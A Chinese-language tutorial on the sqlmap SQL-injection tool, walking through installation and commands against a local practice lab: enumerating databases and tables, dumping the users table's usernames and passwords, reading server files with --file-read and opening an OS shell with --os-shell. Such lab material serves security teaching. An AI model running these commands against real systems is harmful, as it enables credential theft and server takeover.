目录
1 工具简介 3
1.1 简述 3
1.2 背景及需求 3
1.3 主要功能 3
2 功能确认 4
2.1 安装和使用 4
2.1.1 Windows操作系统 4
2.1.2 Linux操作系统 6
2.1.3 Kali 7
2.2 添加目标 7
2.2.1 参数-u 7
2.2.2 参数-m 8
2.2.3 参数-r 9
2.3 指定参数 11
2.4 爆破数据库 11
2.5 爆破表 12
2.6 爆破字段 12
2.7 爆破值 13
2.8 检测是否被保护 13
2.9 结果输出 14
2.10 风险等级 16
2.11 探测等级 16
2.12 访问文件 16
2.13 操作系统命令 17
3 总结 19
1 工具简介
1.1 简述
版本:v1.4.10
支持环境:windows,linux等
支持语言:python
设计目的:可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器
实现:有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数 据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据 库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上 执行命令。
技术:布尔盲注、时间盲注、报错注入、联合查询注入、堆查询注入
1.2 背景及需求
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,
而SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS\操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机通过带外连接在操作系统上执行命令。
1.3 主要功能
序号 功能 简述 参数
1 添加目标 目标URL -u
后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。 -m
数据包保存在txt中,sqlmap通过post方式检测目标 -r
2 指定参数 指定要测试的参数 -p
3 爆破数据库 查看所有数据库 --dbs
4 爆破表 查看指定数据库中的所有表 --tables
5 爆破字段 查看指定表中的所有字段 --columns
6 爆破值 查看字段的所有值 --dump
7 检测是否被保护 检测是否有WAF/IPS/IDS --identify-waf
8 结果输出 扫描结束后输出结果到指定文件 -
9 风险等级 选择风险等级 -risk
10 探测等级 选择探测等级 -level
11 访问文件 访问目标文件系统 --file-read
12 操作系统命令 允许操作系统命令 --os-shell
2 功能确认
2.1 安装和使用
2.1.1 Windows操作系统
Sqlmap项目存储在github上,访问giuhub需要通过代理才能访问
下载项目包,并解压。Sqlmap目录介绍如下:
a) doc目录:保护sqlmap的简要说明,具体使用说明,作者信息等。
b) extra目录:包含sqlmap的额外功能,如发出声响、允许cmd、安全执行等。
c) lib目录:sqlmap核心目录。
d) plugins目录:包含了sqlmap目前支持的13种数据库信息和数据库通用事项。
e) procs目录:包含了mssql、mysql、oracle、postgresql的触发程序。
f) shell目录:包含了注入成功后的9种shell远程命令执行。
g) tamper目录:包含了waf绕过脚本。
h) thirdparty目录:包含了第三方插件,例如优化,保持连接,颜色。
i) txt目录:包含了表名字典,列名字典,UA字典等。
j) udf目录:存放攻击载荷。
k) waf目录:存放waf特征判断脚本。
l) xml目录:存放多种数据库注入检测的payload等信息
使用sqlmap之前必须安装python,b并添加环境变量
检查环境是否能正常使用
2.1.2 Linux操作系统
a) 用git命令安装。
git clone https://github.com/sqlmapproject/sqlmap.git
b) 如果没有安装git,先装git。
yum -y install git
c) 安装完sqlmap,当前目录下会多一个sqlmap的目录。进入sqlmap目录。用命令启动sqlmap。
python sqlmap.py
d) 如果提示-bash: python: command not found,则可能是没有安装Python。Python安装命令。
sudo yum install python2
2.1.3 Kali
Kali中自带了sqlmap
查看版本:
2.2 添加目标
2.2.1 参数-u
参数-u 指定目标url来使用sqlmap检测,现选本地靶场第一关url: http://192.168.1.7/sqli/Less-1/?id=1
Windows:
命令:python3 sqlmap.py -u http://192.168.1.7/sqli/?id=1
Kali:
命令:sqlmap -u http://192.168.1.7/sqli/?id=1
2.2.2 参数-m
参数-m后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
Windows:
命令:python3 sqlmap.py -m E:\desktop\target.txt
Kali:
命令: sqlmap -m /tmp/target.txt
2.2.3 参数-r
参数-r指定注入点,后面直接跟上文件名称,该文件记录了发送请求的报文,该报文可以利用抓包工具fiddle或burpsuit等获取。
在sql靶场中提交表单,并使用burpsuit获取请求报文,并以文件形式保存。
Burp抓包:
将内容保存在txt文件中
Windows
命令:python3 sqlmap.py -r E:\desktop \sql.txt
结果:
Linux:
命令:sqlmap -r /tmp/sql.txt
2.3 指定参数
参数-p可以指定SQL注入的参数。
命令:python3 sqlmap.py -u http://192.168.1.7/sqli/Less-1/?id=1 -p id
2.4 爆破数据库
在主机192.168.56.1上搭建了sqli靶场,先使用–dbs爆破数据库
命令:sqlmap -u " http://192.168.56.1/sqli/Less-5/?id=1" --dbs
2.5 爆破表
从上节爆破的数据库中选择security,使用–tables爆破在security数据库中的所有表
命令:sqlmap -u " http://192.168.56.1/sqli/Less-5/?id=1" -D “security” –tables
2.6 爆破字段
从上节爆破的security的所有表中选择user,使用-- columns爆破在user数据库中的所有字段
sqlmap -u " http://192.168.56.1/sqli/Less-5/?id=1" -D “security” -T “users” –columns
2.7 爆破值
在爆破的字段值中选择password和username的值进行输出
命令:sqlmap -u " http://192.168.56.1/sqli/Less-5/?id=1" -D “security” -T “users” -C username,password –dump
2.8 检测是否被保护
判断该web服务器是否被WAF/IPS保护着。在漏扫或者使用专门工具来检测是否有WAF,这个检测,在nmap的NSE,或者WVS的策略或者APPSCAN的策略中都有,我们可以利用这些来判断,在此我们,也介绍使用sqlmap进行检测是否有WAF/IPS/IDS
windows:
命令:python3 sqlmap.py -u “http://192.168.1.7/sqli/Less-1/?id=1” --thread 10 --identify-waf
linux:
命令:sqlmap -u “http://192.168.1.7/sqli/Less-1/?id=1” --thread 10 --identify-waf
2.9 结果输出
输出扫描结果到指定文件。
Windows:
将” python3 sqlmap.py -u http://192.168.1.7/sqli/Less-1/?id=1 -p id”结果导出到E:\desktop\2.txt
命令:python3 sqlmap.py -u http://192.168.1.7/sqli/Less-1/?id=1 -p id > E:\desktop\2.txt
文件已输出到桌面
Linux:
将” python3 sqlmap.py -u http://192.168.1.7/sqli/Less-1/?id=1 -p id”结果导出到/tmp/2.txt
命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 -p id > /tmp/2.txt
文件已输出到tmp文件夹下
2.10 风险等级
风险等级:共有3个【1-3】,最大值是3
a) 会测试大部分的测试语句(默认值);
b) 会增加基于时间的测试语句;
c) 会增加OR语句的SQL注入测试。
命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 -risk 1-3
2.11 探测等级
探测等级:一共有5个等级【1-5】,默认是1。 默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用-level参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 -level 1-5
2.12 访问文件
file-read:读取服务器路径下的文件,并保存在output目录下的file中。使用kali来获取网站目录下的tmpuwbwc.php
命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 --file-read “E:\programing\phpstudy\phpstudy_pro\WWW\sqli\tmpuwbwc.php”
将读取的文件存储在output文件夹下,且和服务器中的文件做了大小比较,来确定读取的文件数据完整。
使用cat查看文件内容,和本机内容一样。
2.13 操作系统命令
可以在数据库与***者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Meterpreter生成shellcode。
使用kali来获取网站所在主机的shellcode
命令:sqlmap -u http://192.168.1.7/sqli/Less-1/?id=1 --os-shell
选择网站语言php
输入网站的绝对路径
进入shell,执行命令
3 总结
SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,访问目标文件系统,并在获取操作权限时执行任意命令。
SQLMAP是开源的自动化SQL注入工具,由Python写成,具有如下特点:
a) 完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
b) 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
c) 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
d) 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
e) 支持自动识别密码哈希格式并通过字典破解密码哈希。
f) 支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。
g) 支持在数据库管理系统中搜索指定的数据库名、表名和列名
h) 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。
i) 当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。